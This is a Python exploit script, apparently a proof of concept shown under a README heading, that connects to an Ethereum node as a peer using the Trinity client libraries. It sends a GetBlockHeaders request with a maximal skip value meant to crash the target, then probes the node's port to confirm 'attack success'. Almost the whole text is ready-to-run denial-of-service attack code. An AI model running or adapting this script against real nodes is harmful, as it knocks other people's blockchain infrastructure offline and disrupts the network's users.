README.md
Rendering markdown...
import argparse
import asyncio
import logging
import signal
import socket
import os
from typing import (
cast,
Type,
Union,
)
from eth.chains.mainnet import MainnetChain, MAINNET_GENESIS_HEADER, MAINNET_VM_CONFIGURATION
from eth.chains.ropsten import RopstenChain, ROPSTEN_GENESIS_HEADER, ROPSTEN_VM_CONFIGURATION
from eth.db.atomic import AtomicDB
from eth.tools.logging import TRACE_LEVEL_NUM
from p2p import ecies
from p2p.kademlia import Node
from eth_utils import decode_hex
from trinity.protocol.common.context import ChainContext
from trinity.protocol.eth.peer import ETHPeer, ETHPeerPool
from trinity.protocol.les.peer import LESPeer, LESPeerPool
from trinity.protocol.les.commands import GetBlockHeadersQuery, GetBlockHeaders
from tests.trinity.core.integration_test_helpers import FakeAsyncHeaderDB, connect_to_peers_loop
def main() -> None:
logging.basicConfig(level=TRACE_LEVEL_NUM, format='%(asctime)s %(levelname)s: %(message)s')
parser = argparse.ArgumentParser()
parser.add_argument('--enode', type=str, help="The enode we should connect to", required=True)
parser.add_argument('--mainnet', action='store_true')
parser.add_argument('--light', action='store_true', help="Connect as a light node")
args = parser.parse_args()
peer_class: Union[Type[ETHPeer], Type[LESPeer]]
pool_class: Union[Type[ETHPeerPool], Type[LESPeerPool]]
ip, port = args.enode.split('@')[1].split(':')
if args.light:
peer_class = LESPeer
pool_class = LESPeerPool
else:
peer_class = ETHPeer
pool_class = ETHPeerPool
if args.mainnet:
network_id = MainnetChain.network_id
vm_config = MAINNET_VM_CONFIGURATION
genesis = MAINNET_GENESIS_HEADER
else:
network_id = RopstenChain.network_id
vm_config = ROPSTEN_VM_CONFIGURATION
genesis = ROPSTEN_GENESIS_HEADER
headerdb = FakeAsyncHeaderDB(AtomicDB())
headerdb.persist_header(genesis)
loop = asyncio.get_event_loop()
nodes = [Node.from_uri(args.enode)]
context = ChainContext(
headerdb=headerdb,
network_id=network_id,
vm_configuration=vm_config,
)
peer_pool = pool_class(
privkey=ecies.generate_privkey(),
context=context,
)
asyncio.ensure_future(peer_pool.run())
peer_pool.run_task(connect_to_peers_loop(peer_pool, nodes))
def port_probe(ip,port):
try:
TCP_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
TCP_sock.settimeout(1)
result = TCP_sock.connect_ex((ip, int(port)))
if result == 0:
return True
else:
return False
TCP_sock.close()
except socket.error as e:
return False
async def attack() -> None:
nonlocal peer_pool
peer_pool.logger.info('Attacking...')
while not peer_pool.connected_nodes:
peer_pool.logger.info("Waiting for peer connection...")
await asyncio.sleep(1)
peer = peer_pool.highest_td_peer
if peer_class == ETHPeer:
block_hash = '0xd4e56740f876aef8c010b86a40d5f56745a118d0906a34e69aec8c0db1cb8fa3'
headers = await cast(ETHPeer, peer).requests.get_block_headers(peer.sub_proto.cmd_id_offset, max_headers=100)
hashes = tuple(header.hash for header in headers)
peer = cast(ETHPeer, peer)
else:
block_hash = '0x41941023680923e0fe4d74a34bdac8141f2540e3ae90623718e47d66d1ca4a2d'
headers = await cast(ETHPeer, peer).requests.get_block_headers(peer.sub_proto.cmd_id_offset, max_headers=100)
hashes = tuple(header.hash for header in headers)
peer = cast(LESPeer, peer)
request_id = 1
cmd = GetBlockHeaders(peer.sub_proto.cmd_id_offset)
data = {
'request_id': 1,
'query': GetBlockHeadersQuery(decode_hex(block_hash), 1, 0xffffffffffffffff, False),
}
header, body = cmd.encode(data)
peer.sub_proto.send(header, body)
await asyncio.sleep(1)
result = port_probe(ip, port)
if not result:
peer_pool.logger.info('The port is closed, attack success ...')
os.kill(os.getpid(), signal.SIGINT)
sigint_received = asyncio.Event()
for sig in [signal.SIGINT, signal.SIGTERM]:
loop.add_signal_handler(sig, sigint_received.set)
async def exit_on_sigint() -> None:
await sigint_received.wait()
await peer_pool.cancel()
loop.stop()
asyncio.ensure_future(exit_on_sigint())
asyncio.ensure_future(attack())
loop.run_forever()
loop.close()
if __name__ == "__main__":
main()